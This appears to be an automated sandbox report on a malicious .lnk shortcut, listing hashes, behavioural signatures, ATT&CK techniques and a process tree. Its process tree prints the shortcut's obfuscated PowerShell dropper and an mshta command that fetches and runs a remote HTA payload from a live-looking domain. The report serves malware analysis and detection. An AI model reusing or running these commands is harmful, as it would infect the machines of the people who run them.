4b582f38e3376346cb066e36ff8dfa32b268154bb2de13870702e8bbf366a023

General

Target

54267-876-8676.lnk
Size

2KB
MD5

9edabe11d846a6de5d337e737d24e85c
SHA1

26f63aac40c4e9f459a379eec94a258b604f582e
SHA256

4b582f38e3376346cb066e36ff8dfa32b268154bb2de13870702e8bbf366a023
SHA512

5e88d418cb26f4bfd7bf5d1b2dbf31a8f026bbf29c760919d2986c883de6067df75c5eb8ca790a2c4a7ef09b87a2c6ba1b62e57e76fc3b32af633317639c6f0e

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://modhub.com.br/upload.hta

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

mshta.exe

flow pid process

4 428 mshta.exe
5 428 mshta.exe
6 428 mshta.exe
7 428 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1832 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1832 powershell.exe

flow	pid	process
4	428	mshta.exe
5	428	mshta.exe
6	428	mshta.exe
7	428	mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1832	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1832	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 536 wrote to memory of 1832	536	cmd.exe	powershell.exe
PID 536 wrote to memory of 1832	536	cmd.exe	powershell.exe
PID 536 wrote to memory of 1832	536	cmd.exe	powershell.exe
PID 1832 wrote to memory of 428	1832	powershell.exe	mshta.exe
PID 1832 wrote to memory of 428	1832	powershell.exe	mshta.exe
PID 1832 wrote to memory of 428	1832	powershell.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\54267-876-8676.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" <#~@+uvOSgQ:Z#>$tEIiiZsclbDp=@(96580,96586,96575,96587,96568,96503,96575,96587,96587,96583,96586,96529,96518,96518,96580,96582,96571,96575,96588,96569,96517,96570,96582,96580,96517,96569,96585,96518,96588,96583,96579,96582,96568,96571,96517,96575,96587,96568);<#~@+uvOSgQ:Z#>$IMvbvbxLdUneQIhgXc=@(96544,96540,96559);<#~@+uvOSgQ:Z#>function xqvxwsJeK($LmLHgHafCwGhrN){$iSqvUTYMYOTHbW=96471;<#~@+uvOSgQ:Z#>$izdBrBghcDulg=$Null;foreach($eEFlcMD in $LmLHgHafCwGhrN){$izdBrBghcDulg+=[char]($eEFlcMD-$iSqvUTYMYOTHbW)};return $izdBrBghcDulg};sal UJNjnKJgNJogU (xqvxwsJeK $IMvbvbxLdUneQIhgXc);<#~@+uvOSgQ:Z#>UJNjnKJgNJogU((xqvxwsJeK $tEIiiZsclbDp));
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" https://modhub.com.br/upload.hta
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
PID:428

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/428-97-0x0000000000000000-mapping.dmp

Download
memory/536-54-0x000007FEFB721000-0x000007FEFB723000-memory.dmp

Filesize
8KB

Download
memory/1832-88-0x0000000000000000-mapping.dmp

Download
memory/1832-93-0x000007FEF33D0000-0x000007FEF3DF3000-memory.dmp

Filesize
10.1MB

Download
memory/1832-94-0x0000000002054000-0x0000000002057000-memory.dmp

Filesize
12KB

Download
memory/1832-95-0x000007FEF2870000-0x000007FEF33CD000-memory.dmp

Filesize
11.4MB

Download
memory/1832-96-0x000000001B780000-0x000000001BA7F000-memory.dmp

Filesize
3.0MB

Download
memory/1832-98-0x000000000205B000-0x000000000207A000-memory.dmp

Filesize
124KB

Download

Analysis

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